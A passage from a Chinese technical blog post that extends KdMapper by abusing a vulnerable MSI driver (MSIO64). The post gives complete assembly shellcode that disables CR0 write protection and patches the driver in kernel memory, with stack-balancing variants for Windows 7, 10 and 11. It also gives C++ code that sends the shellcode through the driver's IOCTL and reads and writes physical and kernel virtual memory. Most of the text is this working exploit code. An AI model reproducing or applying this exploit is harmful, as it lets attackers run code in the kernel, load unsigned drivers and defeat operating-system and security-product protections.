[0x9]   0x7ff6e9de10f8!+   0xf4504ff9b0   0x7ff6e9de27e0   
[0xa]   0x7ff6e9de27e0!+   0xf4504ff9b8   0x2df29790030   
[0xb]   0x2df29790030!+   0xf4504ff9c0   0xf4504ff9f0   
[0xc]   0xf4504ff9f0!+   0xf4504ff9c8   0x7ff680102040   
[0xd]   0x7ff680102040!+   0xf4504ff9d0   0x2df2978bb60   
[0xe]   0x2df2978bb60!+   0xf4504ff9d8   0x7ff600000050   
[0xf]   0x7ff600000050!+   0xf4504ff9e0   0xf4504ffaf8   
[0x10]   0xf4504ffaf8!+   0xf4504ff9e8   0xc   
[0x11]   0xc!+   0xf4504ff9f0   0x7ff6e9de27e0   
[0x12]   0x7ff6e9de27e0!+   0xf4504ff9f8   0x7ff6e9de2701   
[0x13]   0x7ff6e9de2701!+   0xf4504ffa00   0x50   
[0x14]   0x50!+   0xf4504ffa08   0x7ffe756e27f1   
[0x15]   0x7ffe756e27f1!+   0xf4504ffa10   0x80102040   
[0x16]   0x80102040!+   0xf4504ffa18   0x7ff6e9d8bd1b   
[0x17]   0x7ff6e9d8bd1b!+   0xf4504ffa20   0x2df29785fe0   
[0x18]   0x2df29785fe0!+   0xf4504ffa28   0x7ff6e9de27e0   
[0x19]   0x7ff6e9de27e0!+   0xf4504ffa30   0xf4504ffaf8   
[0x1a]   0xf4504ffaf8!+   0xf4504ffa38   0x2df0000000c   
[0x1b]   0x2df0000000c!+   0xf4504ffa40   0xf4504ffaf0   
[0x1c]   0xf4504ffaf0!+   0xf4504ffa48   0x0   

   这次是调用的 IofCallDriver, 返回的堆栈平衡也要参考这个函数,如下:

   根据上述代码可以看出,在Win11平台上直接 add rsp, 38h 再 ret 就可以了。

  完整 ShellCode 代码如下:

ShellCodeWin11 PROC
cli
	db 0Fh
	db 20h
	db 0c0h						;mov rax, cr0
	db 0fh
	db 20h
	db 0c3h						;mov rbx, cr0
	and rax, not 010000h
	db 0Fh
	db 22h
	db 0c0h						;mov cr0, rax
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 1161
	mov word ptr[rax], 17EBh    ;需要修改的内存数据		jmp 0x17
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 1111
	mov word ptr[rax], 9090h    ;需要修改的内存数据		nop nop  
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 11B2
	mov dword ptr[rax], 90909090h    ;需要修改的内存数据		nop nop nop	
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 125B
	mov dword ptr[rax], 33D88949h    ;需要修改的内存数据		 mov    r8,rbx, 0x33
	db 0Fh
	db 22h
	db 0c3h						;mov cr0, rbx
	sti
	xor rax, rax
	add rsp, 038h				;IofCallDriver
	ret
ShellCodeWin11 ENDP

4.4.6 Win10 22H2 堆栈平衡处理

  同 Win11 处理逻辑以及实际代码一样,完整 ShellCode也一样,如下:

ShellCodeWin10_22H2 PROC
	cli
	db 0Fh
	db 20h
	db 0c0h						;mov rax, cr0
	db 0fh
	db 20h
	db 0c3h						;mov rbx, cr0
	and rax, not 010000h
	db 0Fh
	db 22h
	db 0c0h						;mov cr0, rax
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 1161
	mov word ptr[rax], 17EBh    ;需要修改的内存数据			jmp 0x17
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 1111
	mov word ptr[rax], 9090h    ;需要修改的内存数据			nop nop 
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 11B2
	mov dword ptr[rax], 90909090h    ;需要修改的内存数据			nop nop nop
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 125B
	mov dword ptr[rax], 33D88949h    ;需要修改的内存数据			 mov    r8,rbx, 0x33
	db 0Fh
	db 22h
	db 0c3h						;mov cr0, rbx
	sti
	xor rax, rax
	add rsp, 038h				;IofCallDriver
	ret
ShellCodeWin10_22H2 ENDP

 4.4.7 Win10 21H1 和 Win10 21H2 堆栈平衡处理

  这两个版本的逻辑和 Win10 22H2差不多,只不过在返回之前要修改一个地方以适应 IopSynchronousServiceTail 的代码逻辑,否则会导致蓝屏。

  如上图所示,要修改 a6的值为非0,即修改寄存器 sil 的值为非0。

  可能的原因如下,

    if ( a6 )
    {
         ......
         IopReleaseFileObjectLock((PADAPTER_OBJECT)v17);
     }
     

  如果 a6 为0,则不会执行 IopReleaseFileObjectLock, 可能此处导致后绪逻辑出问题。

  完整 ShellCode也一样,如下:

ShellCodeWin10_21H1_21H2 PROC
	cli
	db 0Fh
	db 20h
	db 0c0h						;mov rax, cr0
	db 0fh
	db 20h
	db 0c3h						;mov rbx, cr0
	and rax, not 010000h
	db 0Fh
	db 22h
	db 0c0h						;mov cr0, rax
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 1161
	mov word ptr[rax], 17EBh    ;需要修改的内存数据		jmp 0x17
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 1111
	mov word ptr[rax], 9090h    ;需要修改的内存数据			nop nop 
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 11B2
	mov dword ptr[rax], 90909090h    ;需要修改的内存数据			nop nop nop 
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 125B
	mov dword ptr[rax], 33D88949h    ;需要修改的内存数据			 mov    r8,rbx, 0x33
	db 0Fh
	db 22h
	db 0c3h						;mov cr0, rbx
	sti
	mov sil, 1
	xor rax, rax
	add rsp, 038h				;IofCallDriver
	ret
ShellCodeWin10_21H1_21H2 ENDP

5.完整关键代码

  •   shellcode.asm
INCLUDELIB kernel32.lib

.code
ShellCodeWin10_21H1_21H2 PROC
	cli
	db 0Fh
	db 20h
	db 0c0h						;mov rax, cr0
	db 0fh
	db 20h
	db 0c3h						;mov rbx, cr0
	and rax, not 010000h
	db 0Fh
	db 22h
	db 0c0h						;mov cr0, rax
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 1161
	mov word ptr[rax], 17EBh    ;需要修改的内存数据		jmp 0x17
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 1111
	mov word ptr[rax], 9090h    ;需要修改的内存数据			nop nop 
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 11B2
	mov dword ptr[rax], 90909090h    ;需要修改的内存数据			nop nop nop 
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 125B
	mov dword ptr[rax], 33D88949h    ;需要修改的内存数据			 mov    r8,rbx, 0x33
	db 0Fh
	db 22h
	db 0c3h						;mov cr0, rbx
	sti
	mov sil, 1
	xor rax, rax
	add rsp, 038h				;IofCallDriver
	ret
ShellCodeWin10_21H1_21H2 ENDP

ShellCodeWin10_22H2 PROC
	cli
	db 0Fh
	db 20h
	db 0c0h						;mov rax, cr0
	db 0fh
	db 20h
	db 0c3h						;mov rbx, cr0
	and rax, not 010000h
	db 0Fh
	db 22h
	db 0c0h						;mov cr0, rax
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 1161
	mov word ptr[rax], 17EBh    ;需要修改的内存数据			jmp 0x17
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 1111
	mov word ptr[rax], 9090h    ;需要修改的内存数据			nop nop 
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 11B2
	mov dword ptr[rax], 90909090h    ;需要修改的内存数据			nop nop nop
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 125B
	mov dword ptr[rax], 33D88949h    ;需要修改的内存数据			 mov    r8,rbx, 0x33
	db 0Fh
	db 22h
	db 0c3h						;mov cr0, rbx
	sti
	xor rax, rax
	add rsp, 038h				;IofCallDriver
	ret
ShellCodeWin10_22H2 ENDP

ShellCodeWin11 PROC
cli
	db 0Fh
	db 20h
	db 0c0h						;mov rax, cr0
	db 0fh
	db 20h
	db 0c3h						;mov rbx, cr0
	and rax, not 010000h
	db 0Fh
	db 22h
	db 0c0h						;mov cr0, rax
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 1161
	mov word ptr[rax], 17EBh    ;需要修改的内存数据		jmp 0x17
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 1111
	mov word ptr[rax], 9090h    ;需要修改的内存数据		nop nop  
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 11B2
	mov dword ptr[rax], 90909090h    ;需要修改的内存数据		nop nop nop	
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 125B
	mov dword ptr[rax], 33D88949h    ;需要修改的内存数据		 mov    r8,rbx, 0x33
	db 0Fh
	db 22h
	db 0c3h						;mov cr0, rbx
	sti
	;mov rcx, 06f8h
	xor rax, rax
	;db	0fh
	;db	22h
	;db	0e1h					;mov    cr4,rcx
	;jmp $+0h
	;mov rbx, [rsp+68h+8h]
	add rsp, 038h				;IofCallDriver
	ret
ShellCodeWin11 ENDP

ShellCodeWin7 PROC
	cli
	db 0Fh
	db 20h
	db 0c0h						;mov rax, cr0
	db 0fh
	db 20h
	db 0c3h						;mov rbx, cr0
	and rax, not 010000h
	db 0Fh
	db 22h
	db 0c0h						;mov cr0, rax
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 1161
	mov word ptr[rax], 17EBh    ;需要修改的内存数据  jmp 0x17
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 1111
	mov word ptr[rax], 9090h    ;需要修改的内存数据	nop nop
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 11B2
	mov dword ptr[rax], 90909090h    ;需要修改的内存数据	nop nop nop 
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 125B
	mov dword ptr[rax], 33D88949h    ;需要修改的内存数据  mov    r8,rbx, 0x33
	db 0Fh
	db 22h
	db 0c3h						;mov cr0, rbx
	sti
	xor rax, rax
	mov rbx, [rsp+68h+8h]
	add rsp, 040h				;IopSynchronousServiceTail
	pop r13
	pop r12
	pop rdi
	pop rsi
	pop rbp
	ret
ShellCodeWin7 ENDP
END 
  •   .h 文件
#define MSIO64_DEVICE_TYPE          (DWORD)0x8010
#define MSIO64_EXECUTE_SHELLCODE_FUNCID   (DWORD)0x810
#define MSIO64_MAP_PHYSICAL_ADDRESS_FUNCID   (DWORD)0x810
#define MSIO64_UNMAP_PHYSICAL_ADDRESS_FUNCID (DWORD)0x811

#define IOCTL_MSIO64_EXECUTE_SHELLCODE      \
    CTL_CODE(MSIO64_DEVICE_TYPE, MSIO64_EXECUTE_SHELLCODE_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80102040

#define IOCTL_MSIO64_MAP_USER_PHYSICAL_MEMORY      \
    CTL_CODE(MSIO64_DEVICE_TYPE, MSIO64_MAP_PHYSICAL_ADDRESS_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80102040

#define IOCTL_MSIO64_UNMAP_USER_PHYSICAL_MEMORY    \
    CTL_CODE(MSIO64_DEVICE_TYPE, MSIO64_UNMAP_PHYSICAL_ADDRESS_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80102044
    
#define PATCH_DRIVER_OFFSET_1161	(0x1161)
#define PATCH_DRIVER_OFFSET_1111	(0x1111)
#define PATCH_DRIVER_OFFSET_11B2	(0x11B2)
#define PATCH_DRIVER_OFFSET_125B	(0x125B)

#pragma pack(push)
#pragma pack(1)
        typedef struct _MSIO64_PHYSICAL_MEMORY_INFO {
		ULONG64 Size;
                PHYSICAL_ADDRESS PhysicalAddress;
		HANDLE Handle;
		PVOID BaseAddress;
		PVOID Object;
        } MSIO64_PHYSICAL_MEMORY_INFO, * PMSIO_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)
	typedef enum _PATCH_DRIVER_PLATFORM
	{
		PLATFORM_UNKNOW = 0,
		PLATFORM_WIN7 = 1,
		PLATFORM_WIN10_21H1,
		PLATFORM_WIN10_21H2,
		PLATFORM_WIN10_22H2,
		PLATFORM_WIN11
	}PATCH_DRIVER_PLATFORM;

	typedef struct _PATCH_DRIVER_THREAD_CONTEXT
	{
		HANDLE hDevice;
		PATCH_DRIVER_PLATFORM nPlatform;
		PVOID pShellCodeAddress;
	}PATCH_DRIVER_THREAD_CONTEXT,*PPATCH_DRIVER_THREAD_CONTEXT;

  •   .cpp
EXTERN_C void ShellCodeWin7();
EXTERN_C void ShellCodeWin11();
EXTERN_C void ShellCodeWin10_22H2();
EXTERN_C void ShellCodeWin10_21H1_21H2();
const WCHAR* PlatformName[6] = { L"Unkonwn", L"Windows 7", L"Windows 10 21H1", L"Windows 10 21H2", L"Windows 10 22H2", L"Windows 11" };

HANDLE micsys_driver::Load() {
        srand((unsigned)time(NULL) * GetCurrentThreadId());
    
        ......
        ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");
        if (ntoskrnlAddr == 0) {
                Log(L"[-] Failed to get ntoskrnl.exe" << std::endl);
                micsys_driver::Unload(result);
                return INVALID_HANDLE_VALUE;
        }
        if (!micsys_driver::PatchDriver())
        {
                Log(L"[-] Failed to PathDriver" << std::endl);
                micsys_driver::Unload(result);
                return INVALID_HANDLE_VALUE;
        }
        ......
}

TSTATUS micsys_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }
        if (!NT_SUCCESS(ntStatus))
        {
                Log(L"SuperCallDriverEx failed, code: 0x" << std::setbase(16) << std::setfill(L'0') << ntStatus << std::endl);
        }
        if (IoStatus)
                *IoStatus = ioStatus;

        return ntStatus;
}


BOOL micsys_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}

PVOID micsys_driver::SuperMapMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ ULONG NumberOfBytes,
        PHANDLE Handle,
        PVOID* Object
)
{
        ULONG_PTR offset;
        ULONG mapSize;
        MSIO64_PHYSICAL_MEMORY_INFO request;

        RtlSecureZeroMemory(&request, sizeof(request));

        offset = PhysicalAddress & ~(PAGE_SIZE - 1);
        mapSize = (ULONG)(PhysicalAddress - offset) + NumberOfBytes;

        request.PhysicalAddress.QuadPart = PhysicalAddress;
        request.Size = mapSize;
        request.Handle = NULL;
        request.Object = NULL;
        request.BaseAddress = NULL;

        if (SuperCallDriver(DeviceHandle,
                IOCTL_MSIO64_MAP_USER_PHYSICAL_MEMORY,
                &request,
                sizeof(request),
                &request,
                sizeof(request)))
        {
                if (Handle)
                {
                        *Handle = request.Handle;
                }
                if (Object)
                {
                        *Object = request.Object;
                }
                return request.BaseAddress;
        }
        Log(L"[!]SuperMapMemory Failed" << std::endl);
        return NULL;
}

BOOL WINAPI micsys_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;
        PVOID mappedSection = NULL;
        //ULONG_PTR offset;
        HANDLE hSection = NULL;
        PVOID pObject;
        mappedSection = SuperMapMemory(DeviceHandle,
                PhysicalAddress,
                NumberOfBytes,
                &hSection,
                &pObject);

        if (mappedSection) {

                //offset = PhysicalAddress - (PhysicalAddress & ~(PAGE_SIZE - 1));

                __try {

                        if (DoWrite) {
                                RtlCopyMemory(mappedSection, Buffer, NumberOfBytes);
                        }
                        else {
                                RtlCopyMemory(Buffer, mappedSection, NumberOfBytes);
                        }

                        bResult = TRUE;
                }
                __except (EXCEPTION_EXECUTE_HANDLER) {
                        bResult = FALSE;
                        dwError = GetExceptionCode();
                        Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
                }

                //
                // Unmap physical memory section.
                //
                SuperUnmapMemory(DeviceHandle,
                        mappedSection, hSection, pObject);

        }
        else {
                Log(L"SuperReadWritePhysicalMemory SuperMapMemory failed\r\n");
                dwError = GetLastError();
        }

        SetLastError(dwError);
        return bResult;
}

BOOL WINAPI micsys_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}

BOOL WINAPI micsys_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}

BOOL WINAPI micsys_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);

        }
        else
        {
                Log(L"SuperWriteKernelVirtualMemory SuperVirtualToPhysical failed" << std::endl);
        }


        return bResult;
}


BOOL WINAPI micsys_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);
                if (!bResult)
                {
                        Log(L"SuperReadKernelVirtualMemory SuperReadWritePhysicalMemory failed" << std::endl);
                }

        }
        else
        {
                Log(L"SuperReadKernelVirtualMemory SuperVirtualToPhysical failed" << std::endl);
        }

        return bResult;
}


VOID micsys_driver::SuperUnmapMemory(
        _In_ HANDLE DeviceHandle,
        _In_ PVOID SectionToUnmap,
        _In_ HANDLE hSection,
        _In_ PVOID Object
)
{
        MSIO64_PHYSICAL_MEMORY_INFO request;

        RtlSecureZeroMemory(&request, sizeof(request));
        request.Handle = hSection;
        request.Object = Object;
        request.BaseAddress = SectionToUnmap;
        SuperCallDriver(DeviceHandle,
                IOCTL_MSIO64_UNMAP_USER_PHYSICAL_MEMORY,
                &request,
                sizeof(request),
                &request,
                sizeof(request));
}

bool micsys_driver::PatchDriver()
{
        HANDLE hDevice = CreateFileW(DOS_DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hDevice == INVALID_HANDLE_VALUE)
        {
                Log(L"[-] PatchDriver CreateFileW failed" << std::endl);
                return false;
        }

        ULONG64 driverBase = utils::GetKernelModuleAddress(micsys_driver::driver_name);
        Log(L"[<] Start Patch Driver" << std::endl);
        if (!driverBase)
        {
                Log(L"[-] PatchDriver Driver Module not found:" << micsys_driver::driver_name << std::endl);
                return false;
        }
        OSVERSIONINFOW osVer = { 0 };
        osVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOW);
        typedef NTSTATUS(*RTLGETVERSION)(PRTL_OSVERSIONINFOW lpVersionInformation);
        HMODULE	hModNtdll = LoadLibrary(L"ntdll.dll");
        if (!hModNtdll)
        {
                Log(L"[-] PatchDriver LoadLibrary ntdll.dll failed" << std::endl);
                return false;
        }
        RTLGETVERSION RtlGetVersion = (RTLGETVERSION)GetProcAddress(hModNtdll, "RtlGetVersion");
        if (!RtlGetVersion)
        {
                Log(L"[-] PatchDriver RtlGetVersion GetProcAddress failed" << std::endl);
                return false;
        }
        RtlGetVersion(&osVer);
        PATCH_DRIVER_PLATFORM nPlatform = PLATFORM_UNKNOW;
        if ((osVer.dwMajorVersion == 6) && (osVer.dwMinorVersion == 1))
        {
                Log(L"[+] Windows 7 Platform" << std::endl);
                nPlatform = PLATFORM_WIN7;

        }
        else if ((osVer.dwMajorVersion == 10) && (osVer.dwMinorVersion == 0) &&
                ((osVer.dwBuildNumber == 22621) || (osVer.dwBuildNumber == 22000)))
        {
                Log(L"[+] Windows 11 " << std::setbase(10) << osVer.dwBuildNumber << L" Platform" << std::endl);
                nPlatform = PLATFORM_WIN11;
        }
        else if ((osVer.dwMajorVersion == 10) && (osVer.dwMinorVersion == 0) &&
                (osVer.dwBuildNumber == 19045))
        {
                Log(L"[+] Windows 10 22H2" << L" Platform" << std::endl);
                nPlatform = PLATFORM_WIN10_22H2;
        }
        else  if((osVer.dwMajorVersion == 10) && (osVer.dwMinorVersion == 0) &&
                (osVer.dwBuildNumber == 19044))
        {
                Log(L"[+] Windows 10 21H2" << L" Platform" << std::endl);
                nPlatform = PLATFORM_WIN10_21H2;
        }
        else  if ((osVer.dwMajorVersion == 10) && (osVer.dwMinorVersion == 0) &&
                (osVer.dwBuildNumber == 19043))
        {
                Log(L"[+] Windows 10 21H1" << L" Platform" << std::endl);
                nPlatform = PLATFORM_WIN10_21H1;
        }
        if (nPlatform == PLATFORM_UNKNOW)
        {
                Log(L"[-] Unsupported Platform" << std::endl);
                return false;
        }
        else
        {
                PatchDriverImplemetation(hDevice, driverBase, nPlatform);
                Log(L"[+] PatchDriver OK\r\n");
                return true;
        }
        
}


static void __cdecl micsys_driver::PatchDriverImplemetationThread(void* param)
{
        PPATCH_DRIVER_THREAD_CONTEXT pContext = (PPATCH_DRIVER_THREAD_CONTEXT)param;
        DWORD dwInBufferSize = 0x50;
        DWORD dwOutBufferSize = 12;
        DWORD dwBytesReturned = 0;
        BYTE data[0x48] = { 0 };
        PVOID pInBuffer = malloc(0x100);
        PVOID pCallAddress = pContext->pShellCodeAddress;
        Log(L"[+] PatchDriver " << PlatformName[pContext->nPlatform] << " Thread Begin" << std::endl);
        if (!pInBuffer)
        {
                Log(L"[-] PatchDriver " << PlatformName[pContext->nPlatform] << " Thread malloc pInBuffer failed" << std::endl);
                return;
        }
        memcpy(&data[0x16], &pInBuffer, 8);
        memcpy(pInBuffer, &data, 0x48);
        memcpy((CHAR*)pInBuffer + 0x48, &pCallAddress, 8);
        BYTE lpOutBuffer[12] = { 0 };

        BOOL bOK = DeviceIoControl(pContext->hDevice, IOCTL_MSIO64_EXECUTE_SHELLCODE, pInBuffer, dwInBufferSize, &lpOutBuffer, dwOutBufferSize, &dwBytesReturned, NULL);
        if (!bOK)
        {
                Log(L"[-] PatchDriver " << PlatformName[pContext->nPlatform] << " Thread DeviceIoControl failed, Code:" << GetLastError() << std::endl);
        }
        else
        {
                Log(L"[+] PatchDriver " << PlatformName[pContext->nPlatform] << " Thread End" << std::endl);
        }
        free(pInBuffer);
        free(pContext);
}

bool micsys_driver::PatchDriverImplemetation(HANDLE device_handle, uintptr_t driverBase, PATCH_DRIVER_PLATFORM nPlatform)
{
        Log(L"[+] PatchDriver " << PlatformName[nPlatform] <<" Begin" << std::endl);
        uintptr_t pPatchAddress1161 = driverBase + PATCH_DRIVER_OFFSET_1161;
        uintptr_t pPatchAddress1111 = driverBase + PATCH_DRIVER_OFFSET_1111;
        uintptr_t pPatchAddress11B2 = driverBase + PATCH_DRIVER_OFFSET_11B2;
        uintptr_t pPatchAddress125B = driverBase + PATCH_DRIVER_OFFSET_125B;
        PBYTE pShellCode = NULL;
        switch (nPlatform)
        {
        case PLATFORM_WIN7:
                pShellCode = (PBYTE)&ShellCodeWin7;
        	break;
        case PLATFORM_WIN10_21H1:
                pShellCode = (PBYTE)&ShellCodeWin10_21H1_21H2;
                break;
        case PLATFORM_WIN10_21H2:
                pShellCode = (PBYTE)&ShellCodeWin10_21H1_21H2;
                break;
        case PLATFORM_WIN10_22H2:
                pShellCode = (PBYTE)&ShellCodeWin10_22H2;
                break;
        case PLATFORM_WIN11:
                pShellCode = (PBYTE)&ShellCodeWin11;
                break;                
        }
        DWORD dwOldProtect = 0;
        BOOL bChange = VirtualProtect(pShellCode, 512, PAGE_EXECUTE_READWRITE, &dwOldProtect);
        if (!bChange)
        {
                Log(L"[-] PatchDriver " << PlatformName[nPlatform] << " VirtualProtect failed, Code:" << GetLastError() << std::endl);
                return false;
        }
        RtlCopyMemory(pShellCode + 18, &pPatchAddress1161, 8);
        RtlCopyMemory(pShellCode + 33, &pPatchAddress1111, 8);
        RtlCopyMemory(pShellCode + 48, &pPatchAddress11B2, 8);
        RtlCopyMemory(pShellCode + 64, &pPatchAddress125B, 8);
        VirtualProtect(pShellCode, 512, dwOldProtect, &dwOldProtect);
        PPATCH_DRIVER_THREAD_CONTEXT pContext = (PPATCH_DRIVER_THREAD_CONTEXT)malloc(sizeof(PATCH_DRIVER_THREAD_CONTEXT));
        if (!pContext)
        {
                Log(L"[-] PatchDriver pContext allocate failed" << std::endl);
                return false;
        }
        pContext->hDevice = device_handle;
        pContext->nPlatform = nPlatform;
        pContext->pShellCodeAddress = pShellCode;
        _beginthread(PatchDriverImplemetationThread, 0, (PVOID)pContext);
        Sleep(1000);
        Log(L"[+] PatchDriver " << PlatformName[nPlatform] << " End" << std::endl);
        return true;
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。  

6.运行效果

  • Win 7 x64

  •   Win 11 x64

  •   Win 10 21H2

7. 特别提示

  经过测试发现在 Win10 平台和 Win11 平台上,使用虚拟机环境的系统可以测试通过,可能由于装虚拟机的物理机器硬件比较老,一些新的安全机制还不支持,所以未出现问题。

  但在实际的新的 Win11 的笔记本物理机上运行导致蓝屏,代码是执行不可执行的内存。这可能由于一些新的安全机制导致,可以在下边的参考文章中找到相关的解释。

8.参考文章

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值